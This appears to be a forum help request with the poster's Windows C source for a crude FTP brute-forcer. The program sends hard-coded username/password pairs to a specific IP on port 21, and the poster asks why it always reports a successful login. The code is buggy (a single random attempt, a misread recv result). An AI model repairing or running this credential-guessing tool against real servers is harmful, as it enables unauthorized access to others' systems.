I was coding a simple ftp brute as a excerise in networking but i have problem everytime it alawys post pw even if it doesnt recived string loged in help thanks.
Code:
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#include <string.h>
#pragma comment(lib,"wsock32.lib")
#define sleep_time 400
#define Bigsleep 2000
char *USERandPW[]=
{
"USER sss\r\nPASS ssss\r\n",
"USER illustion\r\nPASS KARIM\r\n",
"USER BADANIE\r\nPASS MOFO\r\n",
"USER MOFO\r\nPASS a7a",
"USER LOLZ\r\nPASS badnie"
};
void validator(char *question,char *NOTE)
{
MessageBox(NULL,question,NOTE,MB_OK);
}
void list_counter(int *listsize)
{
*listsize=(sizeof (USERandPW) /sizeof ( char * ));
}
void ftp_connector()
{
const char *Site="64.89.23.139";
char Okay[]="we are in now we preforming the function";
char note[]="IRC OKAY";
char badan[]="Function failed";
char rec[]="logged in.";
WORD sockversion;
WSADATA wsadata;
SOCKET FTP_cnt;
SOCKADDR_IN server_info;
int list_size;
char *pw;
sockversion=MAKEWORD(2,2);
WSAStartup(sockversion,&wsadata);
FTP_cnt=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(FTP_cnt==INVALID_SOCKET)
{
MessageBox(NULL,"FUNCTION FAILED","FAILING FUNC",MB_OK);
exit(0);
}
server_info.sin_family = AF_INET;
server_info.sin_addr.s_addr=inet_addr(Site);
server_info.sin_port=htons(21);
list_counter(&list_size);
pw=USERandPW[rand() % list_size];
if(connect(FTP_cnt,(struct sockaddr*)&server_info,sizeof server_info)==0)
{
send(FTP_cnt,pw,strlen(pw),0);
if(recv(FTP_cnt,rec,strlen(rec),0))
MessageBox(NULL,pw,pw,MB_OK);
else
MessageBox(NULL,"Password wrong","wrong pw",MB_OK);
Sleep(Bigsleep);
MessageBox(NULL,"We are out","OUTING",MB_OK);
WSACleanup();
}
else
{
validator(badan,badan);
WSACleanup();
}
}
int WINAPI WinMain(IN HINSTANCE hInstance, IN HINSTANCE hPrevInstance, IN LPSTR lpCmdLine, IN int nShowCmd )
{
srand(GetTickCount());
ftp_connector();
WSACleanup();
}
i thought everytime it recived string loged in it should post the info but it doesnt i dunno whats the problem with this.